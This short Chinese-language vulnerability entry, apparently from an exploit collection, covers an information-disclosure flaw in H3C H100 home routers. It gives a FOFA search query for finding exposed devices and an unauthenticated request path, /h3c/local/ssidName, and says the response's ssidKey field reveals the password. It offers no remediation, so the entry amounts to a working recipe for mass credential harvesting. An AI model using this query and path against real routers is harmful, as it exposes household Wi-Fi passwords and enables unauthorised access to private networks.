# H3C-H100路由器-信息泄露漏洞

# 一、漏洞简介
H3C Magic H100是新华三技术有限公司特别设计的全千兆家庭智能中枢。H3C-H100路由器信息泄露漏洞,可泄露用户泄露密码

# 二、影响版本
+ H3C多系列路由器

# 三、资产测绘
+ fofa`body="/grwizard/h3c.ico"`
+ 登录页面![1713637393108-3b6d8d9c-19f1-4717-92a7-27c6d8d31adb.png](./img/LtjRIrDMAFrjFfcj/1713637393108-3b6d8d9c-19f1-4717-92a7-27c6d8d31adb-323113.png)

# 四、漏洞复现
```java
/h3c/local/ssidName
```

<font style="color:rgba(0, 0, 0, 0.9);">密码就在ssidKey字段</font>

![1713637470972-d19fa597-a666-4004-a47a-025f92a849b7.png](./img/LtjRIrDMAFrjFfcj/1713637470972-d19fa597-a666-4004-a47a-025f92a849b7-813780.png)

![1713637498157-5d0026b7-2372-4d1b-825b-234215c5d89b.png](./img/LtjRIrDMAFrjFfcj/1713637498157-5d0026b7-2372-4d1b-825b-234215c5d89b-491262.png)



> 更新: 2024-04-22 13:29:11  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ddar0wbuli2xp2n8>